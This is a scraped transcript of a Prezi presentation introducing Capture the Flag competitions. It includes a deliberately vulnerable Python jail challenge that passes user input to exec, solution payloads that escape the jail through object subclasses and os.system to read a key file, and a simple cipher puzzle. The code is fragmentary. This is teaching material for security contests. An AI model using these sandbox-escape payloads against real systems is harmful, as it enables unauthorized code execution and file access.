Send the link below via email or IMCopy
Present to your audienceStart remote presentation
- Invited audience members will follow you as you navigate and present
- People invited to a presentation do not need a Prezi account
- This link expires 10 minutes after you close the presentation
- A maximum of 30 users can follow your presentation
- Learn more about this feature in our knowledge base article
Do you really want to delete this prezi?
Neither you, nor the coeditors you shared it with will be able to recover it again.
Make your likes visible on Facebook?
You can change this under Settings & Account at any time.
Transcript of CTF Introduction
UNSAFE_BUILTINS = ['open',
'input'] ## block objet?
for func in UNSAFE_BUILTINS:
from re import findall
print 'Go Ahead, Expoit me >;D'
inp = findall('\S+', raw_input())
a = None
exec 'a=' + inp
print 'Return Value:', a
except Exception, e:
print 'Exception:', e Python Jail
You are surrounded by zombies. You heard there's a safe house nearby, but climbing fences is hard with a beer belly. Thank god, there's another survive over there. "Hey! Help me!", you shout. He just laughs and shakes you off the fence. Asshole. Later, you see his dead body lying in front of a high security door secured by automated weapons. Heh... karma is a bitch. But that means you'll have to find another way in. In this nerd area, all the doors are secured with stupid computer puzzles. So, what the heck.
Hint: You'll find the entrance in "./key" Object.__class__.__base__.__subclasses__()(‘./key’,'r’).read()
findall.func_globals['sys'].modules['os'].system("cat\x20./key") Zombie Talk
Zombies got communication-problems because of their heterogeneity, so they defined a standard for their communication. We need to know how to decrypt their messages in order to successfully defeat them. Luckily, a friend of mine found one of those encrypted messages:
Hint: uppercase seems legit. HELLO
WELOVEBRAINZ Character set: A-Z 0-9
0x1be15dc --> 17 14 21 21 24
17 - H
14 - E
21 - L
21 - L
24 - O Knowledge Reward Teamwork & friendship Have more fun ~~ Gains CTF Overview What is CTF ? Style Topics 1 2 3 Jeopardy
style Mixed-style Cryptography
Mobile security Upcoming We can Enjoy them togther ~~ Capture the Flag (CTF) is a special kind of information security competitions. New vulnerabilities (0Day)
New thoughts or ideas Travel to another country
A huge bonus Working with and making friend with many excellent talents Study the rules of the game Training sessions Register & Qualifying Final wave